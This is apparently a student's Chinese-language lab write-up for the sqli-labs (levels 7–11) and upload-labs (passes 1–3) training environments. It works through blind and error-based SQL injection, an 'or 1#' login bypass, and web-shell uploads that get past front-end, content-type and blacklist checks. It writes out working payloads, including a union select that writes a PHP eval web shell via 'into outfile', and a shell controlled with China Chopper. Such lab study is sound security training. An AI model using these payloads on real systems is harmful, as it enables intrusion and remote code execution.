一、sqli-labs: less7-11
-
less8-GET-Blind-Boolian Based - Single Quotes
-
首先分别用id=1’和 id=1"进行测试
输入1’和1"结果不同,显然是字符型,然后思考,按理说若闭合符错误应产生错误信息,但此处未显示,程序设计人员很可能把mysql的报错信息压制了,但是可以肯定当闭合符错误时不会产生任何信息。且猜测sql语句为:select xxx from xxx where id='1’
当我们输入1’时,sql语句为select xxx from xxx where id=‘1’’,显然此时多了一个’,sql语句会报错,当我们输入1’%23(即#)时,sql语句为select xxx from xxx where id=‘1’#’,此时,后面的’被注释掉,不会报错,如下图,因此我们判断闭合符为’。注意当输入id=1"%23时依然能照常执行,此时sql语句为select xxx from xxx where id=‘1"#’,理解为闭合符优先级高于#,所以此时#不再当为注释符处理,而是普通字符。
-
接下来进行布尔盲注
采用二分法爆破数据库名长度
由此判断位数为8,接下来依次使用二分法爆破每一位的字母
由此可得第一位字母ascii码为115(base10),为s,接下来利用相同的方法爆破其他位依次为ecurity
-
-
less9-GET-Blind-Time Based -Single Quotes
-
首先用id=1’和id=1"进行测试,发现都会显示You are in…,故猜测要么为数字型,要么是由于程序设计原因无论sql语句正确与否都显示You are in…
-
利用sleep函数进行延时注入,首先判断参数类型和闭合符,发现id=1’时网页转了几秒后才返回,而id=1"时,网页立刻返回,这说明,id=1"时sql语句报错,故可以立即返回,而id=1’时,可以查询到结果,故3秒后返回。所以判断’为闭合符,道理同less8中相同
-
在b的基础上添加and条件爆破信息
得出库名为8位
得出第一个字母为s,其余位按照同样的方法爆破出ecurity
-
-
less7-Dump into Outfile
-
首先修改my.ini文件
-
判断闭合符
故判断闭合符为’))
-
利用联合查询注入小马
?id=1’)) union select 1,2,"<?php eval($_GET['cmd'])?>" into outfile ‘c:/phpstudy/www/shell.php’%23
注意windows路径不区分大小写
虽然语句报错,但可以发现shell.php确实成功写入
木马执行成功
-
-
less10-GET-Blind-Time Based -Double Quotes
与less9思路相同,只不过闭合符由单引号变为了双引号,故不再赘述。猜测闭合符时若单双引号都不是,在引号后面加若干右括号进行测试
-
less11-Error Based-String
-
在密码框中测试闭合符
发现闭合符就是’
-
猜测和构造sql语句 select xxx from t_users where uname=‘xxx’ and pass='yyy’
构造select xxx from t_users where uname=‘xxx’ and pass='yyy’or 1#'
用户名随意输入,在密码框中输入**yyy’ or 1#**后结果为下图,可以看出显示了一条查询结果,但实际上后端查询结果是user表的所有记录,只是在前端只渲染了一条记录。那我们该如何获取所有记录呢?
一种方法是通过limit m,n来限定查询结果从而获得每一条记录,如下图,输入**yyy’ or 1 limit 1,1#**后结果为
-
二、upload-labs1-3
-
pass-01(前端js验证文件后缀名)
-
首先尝试上传shell.php,内容为:
<?php echo "I've got a shell"; eval($_REQUEST ['cmd']); ?>
发现不允许上传
-
通过burpsuite拦截改包,将jpg改为php,然后将拦截放开,可以看到木马上传成功
-
利用中国菜刀控制被攻击机
添加木马url
可以看到已经可以进入被攻击机
-
在桌面上新建以自己姓名学号命名的文件,进入桌面路径,在空白区域右击新建文件即可
可以看到已经新建了一个文件,将其名字进行修改即可
-
查看靶机ip
右击进入虚拟终端执行ipconfig命令
-
-
pass-02(限制content-type)
-
查看php源码,发现只允许上传三种类型的文件
-
上传shell.php,内容为:
<?php echo "I've got a shell"; eval($_REQUEST ['cmd']); ?>
利用burpsuite抓包改包,将content-type改为image/png
此时可发现小马已上传成功
-
-
pass-03
-
查看源码可知,该文件上传验证为后端黑名单过滤,故考虑绕过黑名单
-
查看apache的配置文件httpd.conf,发现除了php后缀名,还可以上传phtml后缀名的文件,要把前面的#删除,并重启服务
-
尝试上传shell.phtml,上传成功
-